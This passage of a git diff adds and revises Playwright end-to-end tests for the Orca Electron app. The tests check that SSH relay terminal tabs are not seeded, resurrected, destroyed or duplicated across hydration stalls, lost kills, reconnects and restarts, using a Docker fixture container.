+  cleanupDockerSshRelayTarget,
+  execDockerSshRelayTargetControlCommand,
+  shellQuote,
+  startDockerSshRelayTarget,
+  type DockerSshRelayTarget
+} from './helpers/docker-ssh-relay-target'
+import { connectDockerSshRelayTarget } from './helpers/docker-ssh-relay-connection'
+import { createRestartSession } from './helpers/orca-restart'
+
+const RUN_DOCKER_SSH = process.env.ORCA_E2E_SSH_DOCKER === '1'
+const BASELINE_TAB_COUNT = 3
+/** Where the relay persists a target's workspace snapshot inside the fixture container. */
+const REMOTE_SNAPSHOT_DIR = '/root/.orca/sessions'
+
+test.use({ seedTestRepo: false })
+
+async function readWorktreeTabIds(page: Page, worktreeId: string): Promise<string[]> {
+  return page.evaluate(
+    (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id),
+    worktreeId
+  )
+}
+
+async function isTargetHydrated(page: Page, targetId: string): Promise<boolean> {
+  return page.evaluate(
+    (id) => window.__store?.getState().remoteWorkspaceHydratedTargetIds.has(id) === true,
+    targetId
+  )
+}
+
+async function readTargetSyncPhase(page: Page, targetId: string): Promise<string | undefined> {
+  return page.evaluate(
+    (id) => window.__store?.getState().remoteWorkspaceSyncStatusByTargetId[id]?.phase,
+    targetId
+  )
+}
+
+/** Poll until the worktree's tabs stop changing, so a late seed cannot slip past the sample. */
+async function waitForSettledTabIds(page: Page, worktreeId: string): Promise<string[]> {
+  let latest: string[] = []
+  let previousKey = ''
+  let agreements = 0
+  await expect
+    .poll(
+      async () => {
+        latest = await readWorktreeTabIds(page, worktreeId)
+        const key = latest.join()
+        agreements = key === previousKey ? agreements + 1 : 0
+        previousKey = key
+        return agreements
+      },
+      { timeout: 60_000, intervals: [1_000], message: 'the tab set never stopped changing' }
+    )
+    .toBeGreaterThanOrEqual(3)
+  return latest
+}
+
+function findRemoteSnapshotPath(target: DockerSshRelayTarget): string | null {
+  const listing = execDockerSshRelayTargetControlCommand(
+    target,
+    `ls -1 ${REMOTE_SNAPSHOT_DIR}/*.json 2>/dev/null || true`
+  ).trim()
+  return listing.split('\n').find((line) => line.endsWith('.json')) ?? null
+}
+
+async function waitForUploadedRemoteSnapshot(target: DockerSshRelayTarget): Promise<string> {
+  let snapshotPath: string | null = null
+  await expect
+    .poll(
+      () => {
+        snapshotPath = findRemoteSnapshotPath(target)
+        return snapshotPath
+      },
+      { timeout: 60_000, message: 'the relay never persisted a workspace snapshot' }
+    )
+    .not.toBeNull()
+  return snapshotPath!
+}
+
+/**
+ * Replace the relay's snapshot file with a FIFO so `workspace.get` blocks on open.
+ *
+ * Why a FIFO and not a stall injected into the app: the relay reads this path with `readFileSync`,
+ * so an unopened FIFO stalls the real RPC exactly where a stalled link would, and writing to it
+ * later releases that same call with the real bytes. A test-only hook would drift from the
+ * production path silently, which is how this class of bug survives in the first place.
+ */
+function blockRemoteWorkspaceGet(target: DockerSshRelayTarget, snapshotPath: string): string {
+  const saved = execDockerSshRelayTargetControlCommand(target, `cat ${snapshotPath}`)
+  execDockerSshRelayTargetControlCommand(
+    target,
+    `rm -f ${snapshotPath} && mkfifo -m 600 ${snapshotPath}`
+  )
+  return saved
+}
+
+function unblockRemoteWorkspaceGet(
+  target: DockerSshRelayTarget,
+  snapshotPath: string,
+  saved: string
+): void {
+  // Detached: a FIFO write blocks until the reader drains it, which must not stall the test.
+  spawnSync('docker', [
+    'exec',
+    '-d',
+    target.containerName,
+    'bash',
+    '--noprofile',
+    '--norc',
+    '-c',
+    `printf '%s' ${shellQuote(saved)} > ${snapshotPath} && rm -f ${snapshotPath} && printf '%s' ${shellQuote(saved)} > ${snapshotPath}`
+  ])
+}
+
+async function connectAndSeedTabs(
+  page: Page,
+  target: DockerSshRelayTarget
+): Promise<{ targetId: string; repoId: string; worktreeId: string; tabIds: string[] }> {
+  const remote = await connectDockerSshRelayTarget(page, target)
+  await expect.poll(() => waitForActiveWorktree(page), { timeout: 30_000 }).toBe(remote.worktreeId)
+  await waitForActiveTerminalManager(page, 60_000)
+  await waitForActivePanePtyId(page, 60_000)
+  while ((await readWorktreeTabIds(page, remote.worktreeId)).length < BASELINE_TAB_COUNT) {
+    await createRemoteTerminalTab(page, remote.worktreeId)
+  }
+  return { ...remote, tabIds: await waitForSettledTabIds(page, remote.worktreeId) }
+}
+
+async function flushSessionBeforeQuit(page: Page, targetId: string): Promise<void> {
+  await page.evaluate(() => window.dispatchEvent(new Event('beforeunload')))
+  await expect
+    .poll(
+      () =>
+        page.evaluate(async (id) => {
+          const persisted = await window.api.session.get()
+          return persisted.activeConnectionIdsAtShutdown?.includes(id) === true
+        }, targetId),
+      { timeout: 15_000, message: 'the active SSH target was not persisted before quit' }
+    )
+    .toBe(true)
+}
+
+test.describe('SSH cold hydration gap tab seeding', () => {
+  test.skip(!RUN_DOCKER_SSH, 'Set ORCA_E2E_SSH_DOCKER=1 to run Docker-backed SSH tests.')
+  test.skip(process.platform === 'win32', 'Docker SSH restore uses POSIX SSH tooling.')
+
+  // Why this shape: worktree activation seeds an initial terminal from a predicate that knows
+  // nothing about host authority, so a relaunch that activates the worktree before the host
+  // snapshot lands can add a tab the host never had. Stalling `workspace.get` holds that window
+  // open for as long as the assertions need instead of racing a local relay.
+  test('adds no tab when the host workspace snapshot stalls across a relaunch', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns every Electron launch.
+  {}, testInfo) => {
+    test.setTimeout(600_000)
+    const restart = createRestartSession(testInfo)
+    let target: DockerSshRelayTarget | null = null
+    let app: ElectronApplication | null = null
+    try {
+      target = startDockerSshRelayTarget(testInfo)
+      const firstLaunch = await restart.launch()
+      app = firstLaunch.app
+      await waitForSessionReady(firstLaunch.page)
+      const remote = await connectAndSeedTabs(firstLaunch.page, target)
+      expect(remote.tabIds).toHaveLength(BASELINE_TAB_COUNT)
+      const snapshotPath = await waitForUploadedRemoteSnapshot(target)
+      await flushSessionBeforeQuit(firstLaunch.page, remote.targetId)
+      await restart.close(app)
+      app = null
+
+      const saved = blockRemoteWorkspaceGet(target, snapshotPath)
+      const relaunch = await restart.launch()
+      app = relaunch.app
+      const page = relaunch.page
+      // No PTY wait here: the stalled read holds the relay's only thread, so nothing else it serves
+      // can complete either. That is the point — this is the window a resumed laptop sits in.
+      await waitForSessionReady(page, 60_000)
+      await expect
+        .poll(() => waitForActiveWorktree(page), { timeout: 60_000 })
+        .toBe(remote.worktreeId)
+      // Proves the intended branch was taken rather than the symptom merely being absent: the
+      // target must still be unhydrated while the snapshot has not arrived.
+      expect(
+        await isTargetHydrated(page, remote.targetId),
+        'the target hydrated despite a stalled workspace.get, so this never entered the gap'
+      ).toBe(false)
+      const duringStall = await waitForSettledTabIds(page, remote.worktreeId)
+
+      unblockRemoteWorkspaceGet(target, snapshotPath, saved)
+      await expect
+        .poll(() => isTargetHydrated(page, remote.targetId), {
+          timeout: 120_000,
+          message: 'the target never hydrated after the snapshot was released'
+        })
+        .toBe(true)
+      const afterHydration = await waitForSettledTabIds(page, remote.worktreeId)
+
+      const growth = `baseline=${remote.tabIds.length} duringStall=${duringStall.length} afterHydration=${afterHydration.length}`
+      expect(duringStall.slice().sort(), `tabs changed inside the stall window: ${growth}`).toEqual(
+        remote.tabIds.slice().sort()
+      )
+      expect(
+        afterHydration.slice().sort(),
+        `tabs changed once the stalled snapshot landed: ${growth}`
+      ).toEqual(remote.tabIds.slice().sort())
+    } finally {
+      if (app) {
+        await restart.close(app)
+      }
+      await restart.dispose()
+      cleanupDockerSshRelayTarget(target)
+    }
+  })
+
+  // Why a second profile and not another restart: the seeding predicate is
+  // `renderableTabCount === 0 && !Object.hasOwn(tabsByWorktree, worktreeId)`, and a restart always
+  // restores that key from local state, so the second term is never false. A client that has never
+  // held this workspace — a re-added host, a cleared profile, a second machine — is the ordinary
+  // way a user reaches a host that already owns tabs with no local row for them.
+  test('does not mark hydration or seed a tab when it could not place the host tabs', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns every Electron launch.
+  {}, testInfo) => {
+    test.setTimeout(600_000)
+    const seeding = createRestartSession(testInfo)
+    const fresh = createRestartSession(testInfo)
+    let target: DockerSshRelayTarget | null = null
+    let seedingApp: ElectronApplication | null = null
+    let freshApp: ElectronApplication | null = null
+    try {
+      target = startDockerSshRelayTarget(testInfo)
+      const firstLaunch = await seeding.launch()
+      seedingApp = firstLaunch.app
+      await waitForSessionReady(firstLaunch.page)
+      const remote = await connectAndSeedTabs(firstLaunch.page, target)
+      expect(remote.tabIds).toHaveLength(BASELINE_TAB_COUNT)
+      await waitForUploadedRemoteSnapshot(target)
+      await flushSessionBeforeQuit(firstLaunch.page, remote.targetId)
+      await seeding.close(seedingApp)
+      seedingApp = null
+
+      const freshLaunch = await fresh.launch()
+      freshApp = freshLaunch.app
+      await waitForSessionReady(freshLaunch.page, 60_000)
+      // seedInitialTab: false so every tab counted below is one the product produced — the helper's
+      // own convenience tab would otherwise be indistinguishable from a spurious seed.
+      const rejoined = await connectDockerSshRelayTarget(freshLaunch.page, target, {
+        seedInitialTab: false
+      })
+      await expect
+        .poll(() => waitForActiveWorktree(freshLaunch.page), { timeout: 60_000 })
+        .toBe(rejoined.worktreeId)
+      // The sync point the old `hydrated === true` poll used to serve. `conflict` is what the apply
+      // publishes once it finds rows it cannot place, so it marks the same instant without pinning
+      // the defect: hydration used to be marked here regardless of what adoption wrote.
+      await expect
+        .poll(() => readTargetSyncPhase(freshLaunch.page, rejoined.targetId), {
+          timeout: 120_000,
+          message: 'the fresh client never reported the unplaced snapshot as a conflict'
+        })
+        .toBe('conflict')
+      const rejoinedTabIds = await waitForSettledTabIds(freshLaunch.page, rejoined.worktreeId)
+      const hydrated = await isTargetHydrated(freshLaunch.page, rejoined.targetId)
+      // Re-read after settling: a conflict verdict that a later apply flips back would re-authorise
+      // seeding, so the phase has to still hold once the tab set has stopped moving.
+      const settledPhase = await readTargetSyncPhase(freshLaunch.page, rejoined.targetId)
+      console.log(
+        `[unplaced-host-tabs] hydrated=${hydrated} phase=${settledPhase} tabs=${rejoinedTabIds.length}`
+      )
+
+      // STA-3593. The host listed three tabs on paths this client cannot place. Adoption still
+      // writes nothing (the fixme below), but the client must no longer claim the host's workspace
+      // on the strength of that empty result:
+      //   1. hydration is not marked — and is revoked if an earlier clean sync had set it — so
+      //      use-app-session-persistence.ts cannot upload a `replace-session` patch built from the
+      //      incomplete picture and delete the very tabs it failed to place;
+      //   2. the phase is `conflict`, which workspace-terminal-host-authority.ts deliberately keeps
+      //      out of its `offline`/`error` floor, so authority stays `unverifiable` rather than
+      //      resolving to `none`;
+      //   3. therefore Terminal.tsx does not seed. The old behaviour was exactly one tab conjured
+      //      from nothing, replacing the host's three.
+      expect(hydrated, 'an unplaced snapshot must not leave the target marked hydrated').toBe(false)
+      expect(
+        settledPhase,
+        'the unplaced verdict has to survive settling, or authority is re-authorised to seed'
+      ).toBe('conflict')
+      expect(
+        rejoinedTabIds.length,
+        `authority stays unverifiable, so no tab may be seeded: got ${rejoinedTabIds.length}`
+      ).toBe(0)
+    } finally {
+      if (freshApp) {
+        await fresh.close(freshApp)
+      }
+      if (seedingApp) {
+        await seeding.close(seedingApp)
+      }
+      await fresh.dispose()
+      await seeding.dispose()
+      cleanupDockerSshRelayTarget(target)
+    }
+  })
+
+  // The remaining half of the gap. The hydration half above is fixed: the client no longer marks
+  // hydration, no longer overwrites the host, and no longer seeds a phantom tab. What it still does
+  // not do is ADOPT — a client with no local row is exactly the case the host snapshot exists to
+  // serve, so it should end up holding the host's tabs rather than an empty workspace. Declining to
+  // seed is a safe wait, not the destination. Kept as a fixme so the gap stays visible without
+  // putting a knowingly-red spec in the lane. STA-3593 (snapshot tabs dropped when the worktree
+  // catalog resolves their paths late).
+  test.fixme('a client with no local row adopts the tabs the host already owns', async (// oxlint-disable-next-line no-empty-pattern -- Placeholder for the fixed behaviour.
+  {}) => {})
+})
diff --git a/tests/e2e/ssh-lost-kill-tab-resurrection.spec.ts b/tests/e2e/ssh-lost-kill-tab-resurrection.spec.ts
new file mode 100644
index 00000000000..0d5b4cf4a62
--- /dev/null
+++ b/tests/e2e/ssh-lost-kill-tab-resurrection.spec.ts
@@ -0,0 +1,198 @@
+import type { Page, TestInfo } from '@stablyai/playwright-test'
+import { test, expect } from './helpers/orca-app'
+import { waitForActiveWorktree, waitForSessionReady } from './helpers/store'
+import { waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal'
+import { createRemoteTerminalTab } from './helpers/docker-ssh-relay-terminal-tabs'
+import {
+  cleanupDockerSshRelayTarget,
+  startDockerSshRelayTarget,
+  type DockerSshRelayTarget
+} from './helpers/docker-ssh-relay-target'
+import {
+  readDockerSshRelayProcessSnapshot,
+  terminateDockerSshRelay
+} from './helpers/docker-ssh-relay-processes'
+import {
+  connectDockerSshRelayTarget,
+  disconnectDockerSshRelayTarget,
+  reconnectDisconnectedDockerSshRelayTarget
+} from './helpers/docker-ssh-relay-connection'
+
+const RUN_DOCKER_SSH = process.env.ORCA_E2E_SSH_DOCKER === '1'
+const DROP_CYCLES = 3
+
+test.use({ seedTestRepo: false })
+
+async function readWorktreeTabIds(page: Page, worktreeId: string): Promise<string[]> {
+  return page.evaluate(
+    (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id),
+    worktreeId
+  )
+}
+
+/** Poll until the tab set stops changing, so a resurrection that lands late still counts. */
+async function waitForSettledTabIds(page: Page, worktreeId: string): Promise<string[]> {
+  let latest: string[] = []
+  let previousKey = ''
+  let agreements = 0
+  await expect
+    .poll(
+      async () => {
+        latest = await readWorktreeTabIds(page, worktreeId)
+        const key = latest.join()
+        agreements = key === previousKey ? agreements + 1 : 0
+        previousKey = key
+        return agreements
+      },
+      { timeout: 60_000, intervals: [1_000], message: 'the tab set never stopped changing' }
+    )
+    .toBeGreaterThanOrEqual(3)
+  return latest
+}
+
+/**
+ * Kill the relay daemon so the next RPC rejects with a transport-class error.
+ *
+ * Why this and not a disconnect: `pty.kill` has to FAIL, not succeed against a dead session.
+ * A transport rejection ("Multiplexer disposed" / CONNECTION_LOST) does not match
+ * isPtyAlreadyGoneError, so the lease is never marked terminated and nothing retries it —
+ * that unterminated lease is what the next reattach mistakes for a live PTY.
+ */
+function dropRelayTransport(target: DockerSshRelayTarget): void {
+  const snapshot = readDockerSshRelayProcessSnapshot(target)
+  if (!snapshot) {
+    throw new Error('No Docker SSH relay process group to terminate')
+  }
+  terminateDockerSshRelay(target, snapshot)
+}
+
+async function dumpAuthority(page: Page, worktreeId: string, label: string): Promise<void> {
+  const d = await page.evaluate(async (id) => {
+    const persisted = await window.api.session.get()
+    const state = window.__store?.getState()
+    const repoId = Object.entries(state?.worktreesByRepo ?? {}).find(([, ws]) =>
+      ws.some((w) => w.id === id)
+    )?.[0]
+    return {
+      repoId: repoId?.slice(0, 8) ?? null,
+      topologyRev: persisted.terminalTopologyRevisionByRepoId ?? null,
+      tombstones: Object.keys(persisted.terminalSurfaceTombstonesByPaneKey ?? {}).length,
+      storeTabs: (state?.tabsByWorktree[id] ?? []).length
+    }
+  }, worktreeId)
+  console.log(`[auth ${label}] ${JSON.stringify(d)}`)
+}
+
+async function closeTerminalTab(page: Page, tabId: string): Promise<void> {
+  await page.evaluate((id) => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('Store unavailable')
+    }
+    state.closeTab(id)
+  }, tabId)
+}
+
+/**
+ * Run N cycles of: make a tab, disrupt the transport, close the tab, reconnect.
+ *
+ * `disrupt` is the only variable — the two callers differ solely in HOW the transport goes away,
+ * so a difference in outcome is attributable to that and nothing else.
+ */
+async function runResurrectionCycles(
+  page: Page,
+  testInfo: TestInfo,
+  disrupt: (target: DockerSshRelayTarget, targetId: string) => Promise<void> | void
+): Promise<void> {
+  let target: DockerSshRelayTarget | null = null
+  try {
+    target = startDockerSshRelayTarget(testInfo)
+    await waitForSessionReady(page)
+    const remote = await connectDockerSshRelayTarget(page, target)
+    await expect
+      .poll(() => waitForActiveWorktree(page), { timeout: 30_000 })
+      .toBe(remote.worktreeId)
+    await waitForActiveTerminalManager(page, 60_000)
+    await waitForActivePanePtyId(page, 60_000)
+    const baseline = await waitForSettledTabIds(page, remote.worktreeId)
+
+    const perCycle: { closedTabId: string; afterIds: string[] }[] = []
+    for (let cycle = 0; cycle < DROP_CYCLES; cycle += 1) {
+      // Created while the transport is healthy — the disruption has to land between close and
+      // reattach, not before the tab has a PTY to leave a lease behind.
+      const beforeCreate = await waitForSettledTabIds(page, remote.worktreeId)
+      await createRemoteTerminalTab(page, remote.worktreeId)
+      const withExtra = await waitForSettledTabIds(page, remote.worktreeId)
+      // Diffed against the PREVIOUS cycle's tabs, not the baseline: once a cycle resurrects a tab,
+      // a baseline diff picks that survivor instead of the tab this cycle just made, and every
+      // later cycle would close the same stale tab and measure nothing.
+      const closedTabId = withExtra.find((tabId) => !beforeCreate.includes(tabId))
+      if (!closedTabId) {
+        throw new Error('The extra SSH tab was never added')
+      }
+
+      await dumpAuthority(page, remote.worktreeId, `cycle${cycle + 1}-before-close`)
+      await disrupt(target, remote.targetId)
+      await closeTerminalTab(page, closedTabId)
+      await reconnectDisconnectedDockerSshRelayTarget(page, remote.targetId)
+      await waitForActiveTerminalManager(page, 60_000)
+      perCycle.push({
+        closedTabId,
+        afterIds: await waitForSettledTabIds(page, remote.worktreeId)
+      })
+      await dumpAuthority(page, remote.worktreeId, `cycle${cycle + 1}-after-reconnect`)
+    }
+
+    const growth = perCycle
+      .map(
+        (entry, index) =>
+          `drop${index + 1}=${entry.afterIds.length}${entry.afterIds.includes(entry.closedTabId) ? ' (closed tab returned)' : ''}`
+      )
+      .join(' ')
+    const summary = `baseline=${baseline.length} ${growth}`
+    for (const [index, entry] of perCycle.entries()) {
+      expect(
+        entry.afterIds,
+        `drop ${index + 1} resurrected the closed tab ${entry.closedTabId}: ${summary}`
+      ).not.toContain(entry.closedTabId)
+    }
+    expect(
+      perCycle.map((entry) => entry.afterIds.length),
+      `tabs accumulated across dropped-transport closes: ${summary}`
+    ).toEqual(perCycle.map(() => baseline.length))
+  } finally {
+    cleanupDockerSshRelayTarget(target)
+  }
+}
+
+test.describe('SSH lost kill tab resurrection', () => {
+  test.skip(!RUN_DOCKER_SSH, 'Set ORCA_E2E_SSH_DOCKER=1 to run Docker-backed SSH tests.')
+  test.skip(process.platform === 'win32', 'Docker SSH restore uses POSIX SSH tooling.')
+
+  // STA-3374. A tab closed while the transport is down leaves an unterminated remote lease: the
+  // rejected `pty.kill` is a transport error, not an already-gone one, so nothing retires it. The
+  // relay also restarts its pty counter at pty-1, so a later tab is handed the same id and
+  // upsertSshRemotePtyLease — keyed on (targetId, ptyId) alone — collides with that stale lease
+  // instead of minting a fresh one. The next reattach then re-mints the tab through
+  // pty-binding-persistence.ts:145-160, and the resurrected tab never retires.
+  test('does not resurrect tabs whose kill was lost to a killed relay daemon', async ({
+    orcaPage
+  }, testInfo) => {
+    test.setTimeout(600_000)
+    await runResurrectionCycles(orcaPage, testInfo, (target) => {
+      dropRelayTransport(target)
+    })
+  })
+
+  // The same close, reached the way a user reaches it: disconnect the host, close the tab, come
+  // back. No daemon is killed. If this resurrects too, the bug needs no process death at all — a
+  // laptop lid and a dropped link are enough.
+  test('does not resurrect tabs closed while the host is disconnected', async ({
+    orcaPage
+  }, testInfo) => {
+    test.setTimeout(600_000)
+    await runResurrectionCycles(orcaPage, testInfo, async (_target, targetId) => {
+      await disconnectDockerSshRelayTarget(orcaPage, targetId)
+    })
+  })
+})
diff --git a/tests/e2e/ssh-reconnect-tab-destruction.spec.ts b/tests/e2e/ssh-reconnect-tab-destruction.spec.ts
index 95d46a36187..c6e3a393347 100644
--- a/tests/e2e/ssh-reconnect-tab-destruction.spec.ts
+++ b/tests/e2e/ssh-reconnect-tab-destruction.spec.ts
@@ -85,12 +85,12 @@ test.describe('SSH reconnect tab destruction', () => {
       await openTerminalTabInActiveGroup(orcaPage)
       // Only that the tab exists in the store — no waiting for its manager or PTY. Every wait here
       // is time the debounced upload can use to land, which is what made this spec miss the bug.
-      const tabsBefore = await orcaPage.evaluate(() => {
+      const tabIdsBefore = await orcaPage.evaluate(() => {
         const state = window.__store?.getState()
         const worktreeId = state?.activeWorktreeId
-        return worktreeId ? (state?.tabsByWorktree?.[worktreeId]?.length ?? 0) : 0
+        return worktreeId ? (state?.tabsByWorktree?.[worktreeId] ?? []).map((tab) => tab.id) : []
       })
-      expect(tabsBefore).toBeGreaterThanOrEqual(2)
+      expect(tabIdsBefore.length).toBeGreaterThanOrEqual(2)
 
       // Deliberately NOTHING between creating the tab and reconnecting. The destruction only fires
       // while the tab's creation is still unuploaded, so idling here — as waiting for a TUI to draw
@@ -101,19 +101,26 @@ test.describe('SSH reconnect tab destruction', () => {
 
       // Checked BEFORE any paint assertion: survival and repaint are different failures, and this
       // order names which one broke instead of collapsing both into "no output".
-      const tabCounts = await orcaPage.evaluate(() => {
+      const tabState = await orcaPage.evaluate(() => {
         const state = window.__store?.getState()
         const worktreeId = state?.activeWorktreeId
         return {
-          inSlice: worktreeId ? (state?.tabsByWorktree?.[worktreeId]?.length ?? 0) : 0,
+          tabIds: worktreeId
+            ? (state?.tabsByWorktree?.[worktreeId] ?? []).map((tab) => tab.id)
+            : [],
           // __paneManagers is a Map. Object.keys on a Map silently returns [], which reads as
           // "nothing is mounted" regardless of the truth — that cost a full debugging cycle.
           paneManagers: window.__paneManagers?.size ?? 0
         }
       })
-      expect(tabCounts.inSlice, 'the reconnect destroyed the tab').toBeGreaterThanOrEqual(2)
+      // The exact set, not a lower bound: `>= 2` passes just as happily on a reconnect that ADDS a
+      // tab as on one that keeps it, so it could never fail on the accumulation half of this bug.
       expect(
-        tabCounts.paneManagers,
+        tabState.tabIds.slice().sort(),
+        'the reconnect changed the tab set: it destroyed a tab or spuriously added one'
+      ).toEqual(tabIdsBefore.slice().sort())
+      expect(
+        tabState.paneManagers,
         'the tab survived but its pane manager did not'
       ).toBeGreaterThanOrEqual(1)
 
diff --git a/tests/e2e/ssh-restart-tab-accumulation.spec.ts b/tests/e2e/ssh-restart-tab-accumulation.spec.ts
new file mode 100644
index 00000000000..cd0a314bfbd
--- /dev/null
+++ b/tests/e2e/ssh-restart-tab-accumulation.spec.ts
@@ -0,0 +1,257 @@
+import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test'
+import { test, expect } from './helpers/orca-app'
+import { waitForActiveWorktree, waitForSessionReady } from './helpers/store'
+import { waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal'
+import { createRemoteTerminalTab } from './helpers/docker-ssh-relay-terminal-tabs'
+import {
+  cleanupDockerSshRelayTarget,
+  startDockerSshRelayTarget,
+  type DockerSshRelayTarget
+} from './helpers/docker-ssh-relay-target'
+import { connectDockerSshRelayTarget } from './helpers/docker-ssh-relay-connection'
+import { createRestartSession } from './helpers/orca-restart'
+
+const RUN_DOCKER_SSH = process.env.ORCA_E2E_SSH_DOCKER === '1'
+const RESTART_CYCLES = 3
+/** Consecutive agreeing samples that count as "the strip stopped changing". */
+const SETTLED_SAMPLES = 3
+
+test.use({ seedTestRepo: false })
+
+type WorkspaceTabSnapshot = {
+  /** Terminal tabs the store owns for the remote worktree. */
+  worktreeTabIds: string[]
+  /** Tabs the strip actually renders — what the user counts. */
+  stripTabIds: string[]
+  /** Why: a restart that re-adds the worktree under a new id would grow the window without growing the row above. */
+  totalTabCount: number
+  remoteWorktreeCount: number
+}
+
+async function readWorkspaceTabSnapshot(
+  page: Page,
+  worktreeId: string,
+  repoId: string
+): Promise<WorkspaceTabSnapshot> {
+  const store = await page.evaluate(
+    ({ worktreeId, repoId }) => {
+      const state = window.__store?.getState()
+      if (!state) {
+        throw new Error('Store unavailable')
+      }
+      return {
+        worktreeTabIds: (state.tabsByWorktree[worktreeId] ?? []).map((tab) => tab.id),
+        totalTabCount: Object.values(state.tabsByWorktree).reduce(
+          (total, tabs) => total + tabs.length,
+          0
+        ),
+        remoteWorktreeCount: (state.worktreesByRepo[repoId] ?? []).length
+      }
+    },
+    { worktreeId, repoId }
+  )
+  const stripTabIds = await page
+    .locator('.terminal-tab-strip [data-tab-id]')
+    .evaluateAll((elements) =>
+      elements.map((element) => (element as HTMLElement).dataset.tabId ?? '')
+    )
+  return { ...store, stripTabIds }
+}
+
+/**
+ * Sample the workspace until its tabs stop changing.
+ *
+ * Why: restore is not one event — the session rehydrates, then the relay reconnects, then worktree
+ * activation runs. A tab spawned by the last of those is invisible to a snapshot taken after the
+ * first, so sampling too early would let an accumulation bug pass.
+ */
+async function waitForSettledWorkspaceTabs(
+  page: Page,
+  worktreeId: string,
+  repoId: string
+): Promise<WorkspaceTabSnapshot> {
+  let latest: WorkspaceTabSnapshot = {
+    worktreeTabIds: [],
+    stripTabIds: [],
+    totalTabCount: 0,
+    remoteWorktreeCount: 0
+  }
+  let previousKey = ''
+  let agreements = 0
+  await expect
+    .poll(
+      async () => {
+        latest = await readWorkspaceTabSnapshot(page, worktreeId, repoId)
+        const key = JSON.stringify(latest)
+        agreements = key === previousKey ? agreements + 1 : 0
+        previousKey = key
+        return agreements
+      },
+      {
+        timeout: 60_000,
+        intervals: [1_000],
+        message: 'the remote workspace tab set never stopped changing'
+      }
+    )
+    .toBeGreaterThanOrEqual(SETTLED_SAMPLES)
+  return latest
+}
+
+async function waitForRestoredRemoteWorktree(
+  page: Page,
+  targetId: string,
+  worktreeId: string
+): Promise<void> {
+  await waitForSessionReady(page, 60_000)
+  await expect.poll(() => waitForActiveWorktree(page), { timeout: 60_000 }).toBe(worktreeId)
+  await expect
+    .poll(
+      () =>
+        page.evaluate(
+          (id) => window.__store?.getState().sshConnectionStates.get(id)?.status,
+          targetId
+        ),
+      { timeout: 90_000, message: 'renderer SSH state did not restore' }
+    )
+    .toBe('connected')
+  await waitForActiveTerminalManager(page, 60_000)
+  await waitForActivePanePtyId(page, 60_000)
+}
+
+/** Quit through the same beforeunload flush a real window close performs, then prove it landed. */
+async function flushSessionBeforeQuit(
+  page: Page,
+  targetId: string,
+  worktreeId: string,
+  tabIds: string[]
+): Promise<void> {
+  await page.evaluate(() => window.dispatchEvent(new Event('beforeunload')))
+  await expect
+    .poll(
+      () =>
+        page.evaluate(
+          async ({ targetId, worktreeId, tabIds }) => {
+            const persisted = await window.api.session.get()
+            const persistedIds = new Set(
+              (persisted.tabsByWorktree[worktreeId] ?? []).map((tab) => tab.id)
+            )
+            return (
+              persisted.activeConnectionIdsAtShutdown?.includes(targetId) === true &&
+              tabIds.every((tabId) => persistedIds.has(tabId))
+            )
+          },
+          { targetId, worktreeId, tabIds }
+        ),
+      { timeout: 15_000, message: 'SSH tabs and active target were not persisted before quit' }
+    )
+    .toBe(true)
+}
+
+function describeGrowth(baseline: WorkspaceTabSnapshot, cycles: WorkspaceTabSnapshot[]): string {
+  const baselineTabIds = new Set(baseline.worktreeTabIds)
+  const perCycle = cycles.map((cycle, index) => {
+    const added = cycle.worktreeTabIds.filter((tabId) => !baselineTabIds.has(tabId))
+    const suffix = added.length > 0 ? ` (+${added.length}: ${added.join(', ')})` : ''
+    return `restart${index + 1}=${cycle.worktreeTabIds.length}${suffix}/strip${cycle.stripTabIds.length}/all${cycle.totalTabCount}/worktrees${cycle.remoteWorktreeCount}`
+  })
+  return `baseline=${baseline.worktreeTabIds.length}/strip${baseline.stripTabIds.length}/all${baseline.totalTabCount}/worktrees${baseline.remoteWorktreeCount} ${perCycle.join(' ')}`
+}
+
+async function runRestartCycles(testInfo: TestInfo, initialTabCount: number): Promise<void> {
+  const restart = createRestartSession(testInfo)
+  let target: DockerSshRelayTarget | null = null
+  let app: ElectronApplication | null = null
+  try {
+    target = startDockerSshRelayTarget(testInfo)
+    const firstLaunch = await restart.launch()
+    app = firstLaunch.app
+    let page = firstLaunch.page
+    await waitForSessionReady(page)
+    const remote = await connectDockerSshRelayTarget(page, target)
+    await expect
+      .poll(() => waitForActiveWorktree(page), { timeout: 30_000 })
+      .toBe(remote.worktreeId)
+    await waitForActiveTerminalManager(page, 60_000)
+    await waitForActivePanePtyId(page, 60_000)
+
+    while (
+      (await readWorkspaceTabSnapshot(page, remote.worktreeId, remote.repoId)).worktreeTabIds
+        .length < initialTabCount
+    ) {
+      await createRemoteTerminalTab(page, remote.worktreeId)
+    }
+    const baseline = await waitForSettledWorkspaceTabs(page, remote.worktreeId, remote.repoId)
+    expect(baseline.worktreeTabIds).toHaveLength(initialTabCount)
+    expect(baseline.stripTabIds.slice().sort()).toEqual(baseline.worktreeTabIds.slice().sort())
+
+    // Why: every cycle runs before anything is asserted, so a failure reports whether the strip
+    // grows by one per restart or duplicates wholesale — those have different causes.
+    const cycles: WorkspaceTabSnapshot[] = []
+    for (let cycle = 0; cycle < RESTART_CYCLES; cycle += 1) {
+      await flushSessionBeforeQuit(
+        page,
+        remote.targetId,
+        remote.worktreeId,
+        baseline.worktreeTabIds
+      )
+      await restart.close(app)
+      app = null
+      const relaunch = await restart.launch()
+      app = relaunch.app
+      page = relaunch.page
+      await waitForRestoredRemoteWorktree(page, remote.targetId, remote.worktreeId)
+      cycles.push(await waitForSettledWorkspaceTabs(page, remote.worktreeId, remote.repoId))
+    }
+
+    const growth = describeGrowth(baseline, cycles)
+    expect(
+      cycles.map((cycle) => cycle.stripTabIds.length),
+      `tab strip grew across restarts: ${growth}`
+    ).toEqual(Array.from({ length: RESTART_CYCLES }, () => initialTabCount))
+    expect(
+      cycles.map((cycle) => cycle.totalTabCount),
+      `total tab count grew across restarts: ${growth}`
+    ).toEqual(cycles.map(() => baseline.totalTabCount))
+    expect(
+      cycles.map((cycle) => cycle.remoteWorktreeCount),
+      `the remote repo gained worktree rows across restarts: ${growth}`
